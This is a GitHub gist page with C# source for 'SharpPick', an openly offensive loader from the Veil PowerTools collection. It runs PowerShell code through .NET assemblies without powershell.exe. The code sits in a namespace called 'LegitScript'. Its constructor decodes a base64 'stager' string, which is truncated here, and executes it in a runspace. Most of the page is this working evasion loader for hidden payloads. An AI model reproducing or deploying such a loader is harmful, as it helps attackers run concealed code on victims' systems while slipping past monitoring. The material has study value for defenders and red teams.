-
-
Save leesoh/1ae0e48948c30a1c728406e913ecd24c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* SharpPick aka InexorablePoSH | |
* Description: Application to load and run powershell code via the .NET assemblies | |
* License: 3-Clause BSD License. See Veil PowerTools Project | |
* | |
* This application is part of Veil PowerTools, a collection of offensive PowerShell | |
* capabilities. Hope they help! | |
* | |
* This is part of a sub-repo of PowerPick, a toolkit used to run PowerShell code without the use of Powershell.exe | |
*/ | |
using System; | |
using System.Text; | |
//Adding libraries for powershell stuff | |
using System.Collections.ObjectModel; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
using System.Diagnostics; | |
namespace LegitScript | |
{ | |
public class Program | |
{ | |
public Program() | |
{ | |
Process.Start(RunPS()); | |
} | |
public static string RunPS() | |
{ | |
string stager = "WwBSAEUARgBdAC4AQQBT...[SNIP]"; | |
var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String(stager)); | |
//Init stuff | |
Runspace runspace = RunspaceFactory.CreateRunspace(); | |
runspace.Open(); | |
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); | |
Pipeline pipeline = runspace.CreatePipeline(); | |
//Add commands | |
pipeline.Commands.AddScript(decodedScript); | |
//Prep PS for string output and invoke | |
pipeline.Commands.Add("Out-String"); | |
Collection<PSObject> results = pipeline.Invoke(); | |
runspace.Close(); | |
//Convert records to strings | |
StringBuilder stringBuilder = new StringBuilder(); | |
foreach (PSObject obj in results) | |
{ | |
stringBuilder.Append(obj); | |
} | |
return stringBuilder.ToString().Trim(); | |
} | |
public static void Main() | |
{ | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment